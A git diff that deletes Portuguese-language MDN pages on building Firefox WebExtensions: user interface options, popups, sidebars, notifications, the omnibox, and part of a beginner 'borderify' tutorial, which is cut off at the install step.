- - diff --git a/files/pt-pt/mozilla/add-ons/webextensions/user_interface/extension_pages/index.html b/files/pt-pt/mozilla/add-ons/webextensions/user_interface/extension_pages/index.html deleted file mode 100644 index bea67ee60c..0000000000 --- a/files/pt-pt/mozilla/add-ons/webextensions/user_interface/extension_pages/index.html +++ /dev/null @@ -1,65 +0,0 @@ ---- -title: Páginas de extensão -slug: Mozilla/Add-ons/WebExtensions/user_interface/Extension_pages -translation_of: Mozilla/Add-ons/WebExtensions/user_interface/Extension_pages -original_slug: Mozilla/Add-ons/WebExtensions/interface_do_utilizador/Paginas_de_extensão ---- -
{{AddonSidebar()}}
- -

Pode inclur páginas html na sua extensão para fornecer formulários, ajuda, ou qualquer outro conteúdo que a sua extensão precisar.

- -

Example of a simple bundled page displayed as a detached panel.

- -

These pages also get access to the same privileged JavaScript APIs that are available to your extension's background scripts.

- -

Especificar páginas de extensão

- -

You can include HTML files, and their associated CSS or JavaScript files, in your extension. The files can be included in the root or organized within meaningful sub-folders.

- -
/my-extension
-    /manifest.json
-    /my-page.html
-    /my-page.js
- -

Exibir páginas de extensão

- -

There are two options for displaying extension pages: {{WebExtAPIRef("windows.create()")}} and {{WebExtAPIRef("tabs.create()")}}.

- -

Using windows.create(), for example, you can open an HTML page into a detached panel (a window without the normal browser UI of address bar, bookmark bar, and alike) to create a dialog-like user experience:

- -
var createData = {
-  type: "detached_panel",
-  url: "panel.html",
-  width: 250,
-  height: 100
-};
-var creating = browser.windows.create(createData);
- -

When the window is no longer needed, it can be closed programmatically, for example, after the user clicks a button, by passing the id of the current window to {{WebExtAPIRef("windows.remove()")}}:

- -
document.getElementById("closeme").addEventListener("click", function(){
-  var winId = browser.windows.WINDOW_ID_CURRENT;
-  var removing = browser.windows.remove(winId);
-}); 
- -

Páginas de extensão e histório

- -

By default, pages you open in this way will be stored in the user's history, just like normal web pages. If you don't want to have this behavior, use {{WebExtAPIRef("history.deleteUrl()")}} to remove the browser's record:

- -
function onVisited(historyItem) {
-  if (historyItem.url == browser.extension.getURL(myPage)) {
-    browser.history.deleteUrl({url: historyItem.url});
-  }
-}
-
-browser.history.onVisited.addListener(onVisited);
- -

To use the history API, you must request the "history" permission in your manifest.json file.

- -

Desenho da página da Web

- -

For details on how to design your web page's to match the style of Firefox, see the Photon Design System documentation.

- -

Exemplos

- -

The webextensions-examples repository on GitHub includes the window-manipulator example, which implements several of the options for creating windows.

diff --git a/files/pt-pt/mozilla/add-ons/webextensions/user_interface/index.html b/files/pt-pt/mozilla/add-ons/webextensions/user_interface/index.html deleted file mode 100644 index b18f1afd85..0000000000 --- a/files/pt-pt/mozilla/add-ons/webextensions/user_interface/index.html +++ /dev/null @@ -1,94 +0,0 @@ ---- -title: Interface do utilizador -slug: Mozilla/Add-ons/WebExtensions/user_interface -tags: - - Interface do Utilizador - - Landing - - WebExtensions -translation_of: Mozilla/Add-ons/WebExtensions/user_interface -original_slug: Mozilla/Add-ons/WebExtensions/interface_do_utilizador ---- -
{{AddonSidebar}}
- -

As extensões que utilizam as APIs de WebExtension são fornecidas com várias opções de interface do utilizador, e assim, as suas funcionalidades podem ficar disponíveis para o utilizador. Um resumo dessas opções é fornecido abaixo, com uma introdução mais detalhada para cada opção da interface do utilziador nesta secção .

- -
-

For advice on using these UI components to create a great user experience in your extension, please see the User experience best practices article.

-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Opção de UIDescriçãoExemplo
Browser toolbar buttonA button on the browser toolbar that dispatches an event to the extension when clicked. By default, the button is visible in all tabs.Example of a WebExtension toolbar button
Browser toolbar button with a popupA popup on a button in the browser toolbar that opens when the button is clicked. The popup is defined in an HTML document that handles the user interaction.Example of a WebExtension toolbar button with a popup
Address bar buttonA button on the browser address bar that dispatches an event to the extension when clicked. By default, the button is hidden in all tabs.Example showing an address bar button (page action)
Address bar button with a popupA popup on a button in the browser address bar that opens when the button is clicked. The popup is defined in an HTML document that handles the user interaction.Example of a popup on the address bar button
Context menu itemsMenu items, checkboxes, and radio buttons on one or more of the browser's context menus. Also, menus can be structured by adding separators. When menu items are clicked, an event is dispatched to the extension.
Sidebar -

An HTML document displayed next to a web page, with the option for unique content per page. The sidebar is opened when the extension is installed, then obeys the user's sidebar visibility selection. User interaction within the sidebar is handled by its HTML document.

-
Example of a WebExtension's sidebar
Options pageA page that enables you to define preferences for your extension that your users can change. The user can access this page in the from the browser's add-ons manager.Example showing the options page content added in the favorite colors example.
Bundled web pagesUse web pages included in your extension to provide forms, help, or any other content required, within windows or tabs.Example of a simple bundled page displayed as a detached panel.
NotificationsTransient notifications displayed to the user through the underlying operating system's notifications mechanism. Dispatches an event to the extension when the user clicks a notification, or when a notification closes (either automatically or at the user's request).Example notification from a WebExtension
Address bar suggestionsOffer custom address bar suggestions when the user enters a keyword.Example showing the result of the firefox_code_search WebExtension's customization of the address bar suggestions.
Developer tools panelsA tab with an associated HTML document that displays in the browser's developer tools.New panel tab in the Developer Tools tab bar
- -

The following how-to guides provide step-by-step guidance to creating some of these user interface options:

- - diff --git a/files/pt-pt/mozilla/add-ons/webextensions/user_interface/notifications/index.html b/files/pt-pt/mozilla/add-ons/webextensions/user_interface/notifications/index.html deleted file mode 100644 index 8c8c113425..0000000000 --- a/files/pt-pt/mozilla/add-ons/webextensions/user_interface/notifications/index.html +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: Notificações -slug: Mozilla/Add-ons/WebExtensions/user_interface/Notifications -tags: - - Extensões da Web -translation_of: Mozilla/Add-ons/WebExtensions/user_interface/Notifications -original_slug: Mozilla/Add-ons/WebExtensions/interface_do_utilizador/Notificacoes ---- -
{{AddonSidebar}}
- -
-

As notificações permitem-lhe comunicar a informação sobre a sua extensão ou o seu conteúdo utilizando o serviço de notificação do sistema operativo subjacente:

- -

- -

As notificações podem incluir uma chamada para ação para o utilizador, e o seu extra pode escutar o utilizador a clicar na notificação ou a notificação a fechar.

- -

Especificar as notificações

- -

Pode gerir as notificações programaticamente, utilizando a API {{WebExtAPIRef("notifications")}}. Para utilizar esta API deve solicitar a permissão de notifications no seu manifest.json:

- -
"permissions": ["notifications"]
- -

Depois, pode utilziar {{WebExtAPIRef("notifications.create")}} para criar as suas notificações, como neste exemplo de notify-link-clicks-i18n:

- -
var title = browser.i18n.getMessage("notificationTitle");
-var content = browser.i18n.getMessage("notificationContent", message.url);
-browser.notifications.create({
-  "type": "basic",
-  "iconUrl": browser.extension.getURL("icons/link-48.png"),
-  "title": title,
-  "message": content
-});
- -

Este código cria uma notificação com um ícone, título, e mensagem.

- -

Se a notificação incluir uma chamada para ação, pode escutar o utilizador a clicar na notificação para chamar a ação para manipular a ação:

- -
browser.notifications.onClicked.addListener(handleClick);
-
- -

Se estiver a enviar chamadas para ação através das notificações, também irá querer definir a notificação opcional id, e assim, pode saber qual a chamada para ação que o utilizador selecionou.

- -

Exemplos

- -

O repositório dos exemplos da extensões da Web no GitHub, contém vários exemplos das extensões que utilizam creates notifications:

- - -
diff --git a/files/pt-pt/mozilla/add-ons/webextensions/user_interface/omnibox/index.html b/files/pt-pt/mozilla/add-ons/webextensions/user_interface/omnibox/index.html deleted file mode 100644 index 2470a05c32..0000000000 --- a/files/pt-pt/mozilla/add-ons/webextensions/user_interface/omnibox/index.html +++ /dev/null @@ -1,71 +0,0 @@ ---- -title: Sugestões da barra de endereço -slug: Mozilla/Add-ons/WebExtensions/user_interface/Omnibox -tags: - - Extensões da Web - - Interface do Utilizador -translation_of: Mozilla/Add-ons/WebExtensions/user_interface/Omnibox -original_slug: Mozilla/Add-ons/WebExtensions/interface_do_utilizador/Omnibox ---- -
{{AddonSidebar()}}
- -

Using the {{WebExtAPIRef("omnibox")}} API, extensions can customize the suggestions offered in the browser address bar's drop-down when the user enters a keyword.

- -

Example showing the result of the firefox_code_search WebExtension's customization of the address bar suggestions.

- -

This enables your extension to, for example, search a library of free ebooks or, as in the example above, a repository of code examples.

- -

Especificando a personalização de omnibox

- -

You tell your extension that it is going to customize the address bar suggestions by including the omnibox key and definition of the trigger keyword in its manifest.json file:

- -
  "omnibox": { "keyword" : "cs" }
- -

In the extension's background JavaScript file, using {{WebExtAPIRef("omnibox.setDefaultSuggestion()")}}, you can optionally define the first suggestion to be displayed in the address bar drop-down. Use this to provide a hint on how to use the feature:

- -
browser.omnibox.setDefaultSuggestion({
-  description: `Search the firefox codebase
-    (e.g. "hello world" | "path:omnibox.js onInputChanged")`
-});
- -

You can then add the code to provide the customized content by listening for {{WebExtAPIRef("omnibox.onInputStarted")}}, which is dispatched when the user has typed the keyword and a space, and {{WebExtAPIRef("omnibox.onInputChanged")}}, which is dispatched whenever the user updates the address bar entry. You can then populate the suggestions, in this case building a search of https://searchfox.org/mozilla-central using the term entered by the user:

- -
browser.omnibox.onInputChanged.addListener((text, addSuggestions) => {
-  let headers = new Headers({"Accept": "application/json"});
-  let init = {method: 'GET', headers};
-  let url = buildSearchURL(text);
-  let request = new Request(url, init);
-
-  fetch(request)
-    .then(createSuggestionsFromResponse)
-    .then(addSuggestions);
-});
- -

If the extension set a default suggestion using {{WebExtAPIRef("omnibox.setDefaultSuggestion()")}}, then this will appear first in the drop-down.

- -

The extension can then listen for the user clicking one of the suggestions, using {{WebExtAPIRef("omnibox.onInputEntered")}}. If the default suggestion is clicked the user's custom term is returned, otherwise the suggestion's string is returned. This also passes information on the user's browser preferences for handling new links. In the code below the user's custom term is used to create a search, otherwise the suggested URL is opened:

- -
browser.omnibox.onInputEntered.addListener((text, disposition) => {
-  let url = text;
-  if (!text.startsWith(SOURCE_URL)) {
-    // Update the url if the user clicks on the default suggestion.
-    url = `${SEARCH_URL}?q=${text}`;
-  }
-  switch (disposition) {
-    case "currentTab":
-      browser.tabs.update({url});
-      break;
-    case "newForegroundTab":
-      browser.tabs.create({url});
-      break;
-    case "newBackgroundTab":
-      browser.tabs.create({url, active: false});
-      break;
-  }
-});
- -

 

- -

Exemplos

- -

O repositório dos exemplos das extensões da Web no GitHub inclui o exemplo firefox-code-search que personaliza a barra de pesquisa.

diff --git a/files/pt-pt/mozilla/add-ons/webextensions/user_interface/options_pages/index.html b/files/pt-pt/mozilla/add-ons/webextensions/user_interface/options_pages/index.html deleted file mode 100644 index d3a560412f..0000000000 --- a/files/pt-pt/mozilla/add-ons/webextensions/user_interface/options_pages/index.html +++ /dev/null @@ -1,65 +0,0 @@ ---- -title: Página de opções -slug: Mozilla/Add-ons/WebExtensions/user_interface/Options_pages -tags: - - Extensões da Web -translation_of: Mozilla/Add-ons/WebExtensions/user_interface/Options_pages -original_slug: Mozilla/Add-ons/WebExtensions/interface_do_utilizador/Options_pages ---- -
{{AddonSidebar}}
- -
-

Uma página de Opções permite-lhe definir as preferências para sua extensão que os seus utilizadores podem alterar. Os utilizadores podem aceder á página das opções para uma extensão a partir do do gestor de extras do navegador:

- -

{{EmbedYouTube("02oXAcbUv-s")}}

- -

The way users access the page, and the way it's integrated into the browser's user interface, will vary from one browser to another.

- -
    -
- -

You can open the page programmatically by calling runtime.openOptionsPage().

- -

Options pages have a Content Security Policy that restricts the sources from which they can load resources, and disallows some unsafe practices such as the use of eval(). See Content Security Policy for more details.

- -

Especificar a página de opções

- -

To create an options page, write an HTML file defining the page. This page can include CSS and JavaScript files, like a normal web page. This page, from the favourite-colour example, includes a JavaScript file:

- -
<!DOCTYPE html>
-
-<html>
-  <head>
-    <meta charset="utf-8">
-  </head>
-
-<body>
-  <form>
-      <label>Favourite colour</label>
-      <input type="text" id="colour" >
-      <button type="submit">Save</button>
-  </form>
-  <script src="options.js"></script>
-</body>
-
-</html>
- -

JavaScript em execução na página pode utilizar a API das Extensões da Web que o extra tem permissões para. Em particular, pode utilziar a APi de armazenamento para manter as preferências.

- -

Package the page's files in your extension.

- -

You also need to include the options_ui key in your manifest.json file, giving it the URL to the page.

- -
"options_ui": {
-  "page": "options.html",
-  "browser_style": true
-},
- -

Exemplos

- -

The webextensions-examples repo on GitHub, contains several examples of extensions that use an options page:

- - -
diff --git a/files/pt-pt/mozilla/add-ons/webextensions/user_interface/page_actions/index.html b/files/pt-pt/mozilla/add-ons/webextensions/user_interface/page_actions/index.html deleted file mode 100644 index 57407bc175..0000000000 --- a/files/pt-pt/mozilla/add-ons/webextensions/user_interface/page_actions/index.html +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: Botão da barra de endereço -slug: Mozilla/Add-ons/WebExtensions/user_interface/Page_actions -tags: - - Extensões da Web - - Interface do Utilizador -translation_of: Mozilla/Add-ons/WebExtensions/user_interface/Page_actions -original_slug: Mozilla/Add-ons/WebExtensions/interface_do_utilizador/Acoes_pagina ---- -
{{AddonSidebar}}
- -

Normalmente referido como uma ação da página, esta opção da inteface do utilizador é um botão adicionado à barra de endereço do navegador. Os utilziadores clicam no botão para interagir com a sua extensão.

- -

- -

Use this button when a feature is only relevant for some web pages. By default, the address bar button is hidden in all browser tabs, and you call pageAction.show() and pageAction.hide() to show or hide it in specific tabs.

- -

Compare to the toolbar button, which offers similar behavior but is used in situations where the extension's features are applicable to almost every web page.

- -

Especificar a ação da página

- -

You define the page action's properties using the page_action key in manifest.json:

- -
"page_action": {
-  "browser_style": true,
-  "default_icon": {
-    "19": "button/geo-19.png",
-    "38": "button/geo-38.png"
-  },
-  "default_title": "Whereami?"
-}
- -

The only mandatory key is default_icon.

- -

There are two ways to specify a page action: with or without a popup. If you don't specify a popup, when the user clicks the button an event is dispatched to the extension, which the extension listens for using pageAction.onClicked:

- -
browser.pageAction.onClicked.addListener(handleClick);
- -

If you specify a popup, the click event is not dispatched: instead, the popup is shown when the user clicks the button. The user is able to interact with the popup and it closes automatically when the user clicks outside it. See the Popup article for more details on creating and managing popups.

- -

Note that your extension can have one page action only.

- -

You can change any of the page action properties programmatically using the pageAction API.

- -

Exemplos

- -

The webextensions-examples repo on GitHub, contains several examples of extensions that use page action:

- -
    -
  • chill-out uses a page action without a popup.
  • -
diff --git a/files/pt-pt/mozilla/add-ons/webextensions/user_interface/popups/index.html b/files/pt-pt/mozilla/add-ons/webextensions/user_interface/popups/index.html deleted file mode 100644 index 7d7c1d469e..0000000000 --- a/files/pt-pt/mozilla/add-ons/webextensions/user_interface/popups/index.html +++ /dev/null @@ -1,61 +0,0 @@ ---- -title: Janelas (Popups) -slug: Mozilla/Add-ons/WebExtensions/user_interface/Popups -tags: - - Extensions - - IU - - Interface do Utilizador - - Janela - - popup -translation_of: Mozilla/Add-ons/WebExtensions/user_interface/Popups -original_slug: Mozilla/Add-ons/WebExtensions/interface_do_utilizador/Popups ---- -
{{AddonSidebar}}
- -
-

Uma janela (popup) é uma janela que está associada com um botão da barra de ferramentas ou botão da barra de endereço.

- -

- -

Quando o usuário clica no botão, a janela popup é exibida. Quando o usuário clica em qualquer lugar fora do popup, ele é fechado. O popup pode ser fechado via programação usando a função window.close() em um script sendo executado no popup. Entretanto, você não pode abrir o popup via programação a partir do código JavaScript da extensão: ele somente se abre em resposta a uma ação do usuário.

- -

Você pode definir um atalho de teclado que abre o popup usando "_execute_browser_action" and "_execute_page_action". Veja a documentação da chave commands no manifest.json.

- -

Especificar uma janela

- -

O popup é definido por um arquivo HTML, que pode incluir arquivos CSS e JavaScript, como uma página comum. Diferentemente de uma página comum, o código JavaScript pode usar todos os WebExtension APIs que a extensão tem permissions .

- -

O documento do popup é carregado toda vez que ele é exibido, e descarregado quando o popup é fechado.

- -

O arquivo HTML é incluído na extensão e especificado como parte do  browser_action ou chave page_action por "default_popup" no arquivo manifest.json:

- -
  "browser_action": {
-    "default_icon": "icons/beasts-32.png",
-    "default_title": "Beastify",
-    "default_popup": "popup/choose_beast.html"
-  }
- -

You can ask the browser to include a stylesheet in your popup that will make it look consistent with the browser's UI. To do this, include "browser_style": true in the browser_action or page_action key.

- -

Popups have a Content Security Policy that restricts the sources from which they can load resources, and disallows some unsafe practices such as the use of eval(). See Content Security Policy for more details on this.

- -

Depurar janelas

- -

You can debug a popup's markup and JavaScript using the Add-on Debugger, but you'll need to turn on the Disable popup auto hide feature to prevent popups from hiding when you click outside them. Read about debugging popups.

- -

Redimensionar janelas

- -

Popups resize automatically to fit their content. The algorithm for this may differ from one browser to another.

- -

In Firefox, the size is calculated just before the popup is shown, and at most 10 times per second after DOM mutations. For strict mode documents, the size is calculated based on the layout size of the <body> element. For quirks mode, it's the <html> element. Firefox calculates the preferred width of the contents of that element, reflows it to that width, and then resizes so there's no vertical scrolling. It will grow to a size of 800x600 pixels at most if that fits on the user's screen. If the user moves the extension's button to the menu or it appears in the toolbar overflow, then the popup appears inside the menu's panel and is given a fixed width.

- -

No Firefox Android 57, popup é mostrada como uma página normal num novo separador.

- -

Desenho de janela

- -

Para obter detalhes sobre como desenhar a sua janela (popup) da página da Web para combinar com o estilo do Firefox, consulte a documentação Photon Design System.

- -

Exemplos

- -

The webextensions-examples  repository on GitHub includes the beastify example which implements a browser action with a popup.

-
diff --git a/files/pt-pt/mozilla/add-ons/webextensions/user_interface/sidebars/index.html b/files/pt-pt/mozilla/add-ons/webextensions/user_interface/sidebars/index.html deleted file mode 100644 index 02509b9229..0000000000 --- a/files/pt-pt/mozilla/add-ons/webextensions/user_interface/sidebars/index.html +++ /dev/null @@ -1,58 +0,0 @@ ---- -title: Barras laterais -slug: Mozilla/Add-ons/WebExtensions/user_interface/Sidebars -tags: - - Extensões da Web -translation_of: Mozilla/Add-ons/WebExtensions/user_interface/Sidebars -original_slug: Mozilla/Add-ons/WebExtensions/interface_do_utilizador/Barras_laterais ---- -
{{AddonSidebar}}
- -
-

 

- -

Uma barra lateral é um painel que é exibido no lado esquerdo da janela do navegador, ao lado da página da Web. O navegador fornece uma IU que permite ao utilizador ver as barras laterais atualmente disponíveis e selecionar uma barra lateral para exibir. Por exemplo, o Firefox tem um menu 'Ver -> Barra lateral'. Apenas pode ser exibida uma barra lateral de cada vez, e essa barra lateral será exibida para todos os separadores e todas as janelas do navegador.

- -

O navegador poderá incluir uma série de barras laterais integradas. Por exemplo, o Firefox inclui uma barra lateral para interagir com marcadores:

- -

Using the sidebar_action manifest.json key, an extension can add its own sidebar to the browser. It will be listed alongside the built-in sidebars, and the user will be able to open it using the same mechanism as for the built-in sidebars.

- -

Like a browser action popup, you specify the sidebar's contents as an HTML document. When the user opens the sidebar, its document is loaded into every open browser window. Each window gets its own instance of the document. When new windows are opened, they get their own sidebar documents as well.

- -

You can set a document for a particular tab using the {{WebExtAPIRef("sidebarAction.setPanel()")}} function. A sidebar can figure out which window it belongs to using the {{WebExtAPIRef("windows.getCurrent()")}} API:

- -
// sidebar.js
-browser.windows.getCurrent({populate: true}).then((windowInfo) => {
-  myWindowId = windowInfo.id;
-});
- -

This is useful if a sidebar wants to display different content for different windows. For an example of this, see the "annotate-page" example.

- -

Sidebar documents get access to the same set of privileged JavaScript APIs that the extension's background and popup scripts get. They can get direct access to the background page (unless the sidebar belongs to incognito mode window) using {{WebExtAPIRef("runtime.getBackgroundPage()")}}, and can interact with content scripts or native applications using messaging APIs like {{WebExtAPIRef("tabs.sendMessage()")}} and {{WebExtAPIRef("runtime.sendNativeMessage()")}}.

- -

Sidebar documents are unloaded when their browser window is closed or when the user closes the sidebar. This means that unlike background pages, sidebar documents don't stay loaded all the time, but unlike browser action popups, they stay loaded while the user interacts with web pages.

- -

When an extension that defines a sidebar is first installed, its sidebar will be opened automatically. This is intended to help the user understand that the extension includes a sidebar. Note that it's not possible for extension to open sidebars programmatically: sidebars can only be opened by the user.

- -

Especificar barras laterais

- -

To specify a sidebar, define the default document with the sidebar_action manifest.json key, alongside a default title and icon:

- -
"sidebar_action": {
-  "default_title": "My sidebar",
-  "default_panel": "sidebar.html",
-  "default_icon": "sidebar_icon.png"
-}
- -

You can change the title, panel, and icon programmatically using the {{WebExtAPIRef("sidebarAction")}} API.

- -

Title and icon are shown to the user in any UI provided by the browser to list sidebars, such as the "View > Sidebar" menu in Firefox.

- -

Exemplo

- -

O repositório de exemplos das extensões da Web no GitHub, contém vários exemplos de extensões que utilizam a barra lateral:

- - -
diff --git a/files/pt-pt/mozilla/add-ons/webextensions/what_are_webextensions/index.html b/files/pt-pt/mozilla/add-ons/webextensions/what_are_webextensions/index.html deleted file mode 100644 index ada2698b44..0000000000 --- a/files/pt-pt/mozilla/add-ons/webextensions/what_are_webextensions/index.html +++ /dev/null @@ -1,60 +0,0 @@ ---- -title: O que são extensões? -slug: Mozilla/Add-ons/WebExtensions/What_are_WebExtensions -tags: - - Extensões - - Extensões da Web -translation_of: Mozilla/Add-ons/WebExtensions/What_are_WebExtensions -original_slug: Mozilla/Add-ons/WebExtensions/O_que_sao_WebExtensions ---- -
{{AddonSidebar}}
- -

Uma extensão adiciona funcionalidades e funções a um navegador. É criada, utilizando a tecnologia padrão baseada na Web - CSS, HTML e JavaScript. Esta tira vantagem de algumas APIs da Web, como JavaScript pode em uma página da web, mas uma extensão também tem acesso ao seu próprio conjunto de APIs de JavaScript. Isto significa que pode fazer muito mais numa extensão do que pode com o código numa página da Web. Aqui estão apenas alguns exemplos das coisas que pode fazer.

- -

Melhore ou complemente um site da Web: utilize um extra para fornecer funcionalidades adicionais no navegador ou informação do seu site da Web. Permita que os utilizadores recolham detalhes das páginas que eles visitam, para melhorar o serviço que oferece.

- -

- -

Exemplos: Amazon Assistant para Firefox, OneNote Web Clipper, e Grammarly for Firefox

- -

Deixe que os utilizadores mostrem a sua personalidade: Browser extensions can manipulate the content of pages browsed by a user. Help the user add a favorite logo or picture as the background to every page they visit. Extensions also give you the ability to update the look of the Firefox UI. (Update the Firefox UI using standalone theme add-ons too).

- -

- -

Exemplos: MyWeb New Tab, Tabliss, e VivaldiFox

- -

Adicionar ou remover conteúdo das páginas da Web: You might want to help users block intrusive ads from web pages, provide access to a travel guide whenever a country or city is mentioned in a web page, or reformat page content to offer a consistent reading experience. With the ability to access and update both a page’s HTML and CSS, you can help users see the web the way they want to.

- -

- -

Exemplos: uBlock Origin, Reader, e Toolbox para Google Play Store™

- -

Adicionar ferramentas e novas funcionalidades de navegação: Add new features to a taskboard, or generate QR code images from URLs, hyperlinks, or page text. With flexible UI options and the power of the WebExtensions APIs you can easily add new features to a browser. And, you can enhance almost any website’s features or functionality, it doesn't have to be your website.

- -

- -

Examples: QR Code Image Generator, Swimlanes for Trello, and Tomato Clock

- -

Jogos: Offer traditional computer games, with off-line play features, but also explore new game possibilities, for example, by incorporating gameplay into everyday browsing.

- -

 

- -

Examples: Asteroids in Popup, Solitaire Card Game New Tab, and 2048 Prime.

- -

Adicionar ferramentas de desenvolvimento: You may provide web development tools as your business or have developed a useful technique or approach to web development that you want to share. Either way, you can enhance the built-in Firefox developer tools by adding a new tab to the developer toolbar.

- -

- -

Examples: Web Developer, Web React Developer Tools, and aXe Developer Tools

- -

Extensions for Firefox are built using the WebExtensions APIs, a cross-browser system for developing extensions. To a large extent, the API is compatible with the extension API supported by Google Chrome and Opera. Extensions written for these browsers will in most cases run in Firefox or Microsoft Edge with just a few changes. The API is also fully compatible with multiprocess Firefox.

- -

If you have ideas or questions, or need help migrating a legacy add-on to WebExtensions APIs, you can reach us on the dev-addons mailing list or in #extdev on IRC.

- -

E a seguir?

- - diff --git a/files/pt-pt/mozilla/add-ons/webextensions/what_next_/index.html b/files/pt-pt/mozilla/add-ons/webextensions/what_next_/index.html deleted file mode 100644 index c4ac2a8348..0000000000 --- a/files/pt-pt/mozilla/add-ons/webextensions/what_next_/index.html +++ /dev/null @@ -1,61 +0,0 @@ ---- -title: E a seguir? -slug: Mozilla/Add-ons/WebExtensions/What_next_ -tags: - - Extensão da Web - - Extensões - - Principiante -translation_of: Mozilla/Add-ons/WebExtensions/What_next_ -original_slug: Mozilla/Add-ons/WebExtensions/E_a_seguir ---- -
{{AddonSidebar}}
- -

Agora, irá estar pronto para começar a transformar a sua ideia de uma extensão de navegador em realidade. Antes de começar essa jornada, vale a pena estar ciente de algumas coisas que irão ajudar a facilitar.

- -

O seu ambiente de desenvolvimento

- -

You don't need any special development or build environment tools to create browser extensions: It's entirely possible to create great browser extensions with no more than a text editor. However, you may have been developing for the web and have a set of tools and an environment you want to reuse. If you do, you need to be aware of a couple of things.

- -

If you use minification or obfuscation tools to deliver your final code, you’ll need to provide your source code to the AMO review process. Also, the tools you use—those for minification,  obfuscation, and build processes—will need to be open source (or offer unlimited free use) and be available to run on the reviewer’s computer (Windows, Mac, or Linux). Unfortunately, our reviewers can't work with commercial or web-based tools.

- -

Learn more about build tools

- -

Bibliotecas de terceiros

- -

Third-party libraries are a great way to add complex features or functionality to your browser extensions quickly. When you submit an extension to the AMO review process, the process will also consider any third-party libraries used. To streamline the review, make sure you always download third-party libraries from their official website or repository, and if the library is minified provide a link to the source code. Please note that third-party libraries cannot be modified in any way.

- -

Learn more about submitting source code

- -

O Acordo de Distribuição do Extra do Firefox

- -

Browser extensions need to be signed to install into the release or beta versions of Firefox. Signing takes place in addons.mozilla.org (AMO) and is subject to the terms and conditions of the Firefox Add-on Distribution Agreement. The goal of the agreement is to ensure Firefox users get access to well supported, quality add-ons that enhance the Firefox experience.

- -

Leia o acordo

- -

Learn more about signing

- -

O processo de revisão

- -

When a browser extension is submitted for signing, it's subject to automated review. It may also be subject to a manual review, when the automated review determines that a manual review is needed. Your browser extension won't be signed until it’s passed the automated review and may have its signing revoked if it fails to pass the manual review. The review process follows a strict set of guidelines, so it’s easy to check and avoid any likely review problems.

- -

Check out the review policy and guidelines

- -

Extensões do navegador em destaque no AMO

- -

If you choose to list your browser extension on AMO, your extension could be featured on the AMO website, in the Firefox browser’s add-on manager, or elsewhere on a Mozilla website. We've compiled a list of guidelines about how extensions are selected for featuring, by following these guidelines you give your extension the best chance of being featured.

- -

Saiba mais sobre como colocar os seus extras em destaque

- -

Continue a sua experiência de aprendizagem

- -

Now you know what lies ahead, it's time to dive into more details about browser extension development. In the sections that follow, you’ll discover:

- -
    -
  • More about the fundamental concepts behind browser extensions, starting with details on how to use the JavaScript APIs.
  • -
  • A guide to the user interface components available to your browser extensions.
  • -
  • A collection of how-to guides on achieving key tasks in your extensions or making use of the JavaScript APIs.
  • -
  • Information on how to port other browser extensions to Firefox.
  • -
  • Details about the Firefox specific workflows you can use to develop browser extensions.
  • -
  • A full reference guide to the JavaScript APIs.
  • -
  • A full reference guide to the Manifest keys.
  • -
diff --git a/files/pt-pt/mozilla/add-ons/webextensions/your_first_webextension/index.html b/files/pt-pt/mozilla/add-ons/webextensions/your_first_webextension/index.html deleted file mode 100644 index 2b711124ca..0000000000 --- a/files/pt-pt/mozilla/add-ons/webextensions/your_first_webextension/index.html +++ /dev/null @@ -1,154 +0,0 @@ ---- -title: A sua primeira extensão -slug: Mozilla/Add-ons/WebExtensions/Your_first_WebExtension -tags: - - Extensões da Web - - Guía -translation_of: Mozilla/Add-ons/WebExtensions/Your_first_WebExtension -original_slug: Mozilla/Add-ons/WebExtensions/A_sua_primeira_extensao ---- -
{{AddonSidebar}}
- -

Neste artigo, nós iremos abordar a criação de uma extensão para o Firefox, do início até ao fim. A extensão adiciona apenas um contorno vermelho a qualquer página carregada de 'mozilla.org' ou qualquer um dos seus subdomínios.

- -

O código fonte para este exemplo está no GitHub: borderify.

- -

Primeiro, precisa de ter o Firefox - versão 45 ou superior.

- -

Escrever a extensão

- -

Crie uma nova diretoria e vá para a mesma:

- -
mkdir borderify
-cd borderify
- -

manifest.json

- -

Now create a new file called "manifest.json" directly under the "borderify" directory. Give it the following contents:

- -
{
-
-  "manifest_version": 2,
-  "name": "Borderify",
-  "version": "1.0",
-
-  "description": "Adds a red border to all webpages matching mozilla.org.",
-
-  "icons": {
-    "48": "icons/border-48.png"
-  },
-
-  "content_scripts": [
-    {
-      "matches": ["*://*.mozilla.org/*"],
-      "js": ["borderify.js"]
-    }
-  ]
-
-}
- -
    -
  • The first three keys: manifest_version, name, and version, are mandatory and contain basic metadata for the extension.
  • -
  • description is optional, but recommended: it's displayed in the Add-ons Manager.
  • -
  • icons is optional, but recommended: it allows you to specify an icon for the extension, that will be shown in the Add-ons Manager.
  • -
- -

The most interesting key here is content_scripts, which tells Firefox to load a script into Web pages whose URL matches a specific pattern. In this case, we're asking Firefox to load a script called "borderify.js" into all HTTP or HTTPS pages served from "mozilla.org" or any of its subdomains.

- - - -
-

In some situations you need to specify an ID for your extension. If you do need to specify an add-on ID, include the  applications key in manifest.json and set its gecko.id property:

- -
"applications": {
-  "gecko": {
-    "id": "borderify@example.com"
-  }
-}
-
- -

icons/border-48.png

- -

The extension should have an icon. This will be shown next to the extension's listing in the Add-ons Manager. Our manifest.json promised that we would have an icon at "icons/border-48.png".

- -

Create the "icons" directory directly under the "borderify" directory. Save an icon there named "border-48.png".  You could use the one from our example, which is taken from the Google Material Design iconset, and is used under the terms of the Creative Commons Attribution-ShareAlike license.

- -

If you choose to supply your own icon, It should be 48x48 pixels. You could also supply a 96x96 pixel icon, for high-resolution displays, and if you do this it will be specified as the 96 property of the icons object in manifest.json:

- -
"icons": {
-  "48": "icons/border-48.png",
-  "96": "icons/border-96.png"
-}
- -

Alternatively, you could supply an SVG file here, and it will be scaled correctly. (Though: if you're using SVG and your icon includes text, you may want to use your SVG editor's "convert to path" tool to flatten the text, so that it scales with a consistent size/position.)

- - - -

borderify.js

- -

Finally, create a file called "borderify.js" directly under the "borderify" directory. Give it this content:

- -
document.body.style.border = "5px solid red";
- -

This script will be loaded into the pages that match the pattern given in the content_scripts manifest.json key. The script has direct access to the document, just like scripts loaded by the page itself.

- - - -

Testá-la

- -

Primeiro, reverifique que tem os ficheiros corretos nos locais certos:

- -
borderify/
-    icons/
-        border-48.png
-    borderify.js
-    manifest.json
- -

Instalar

- -

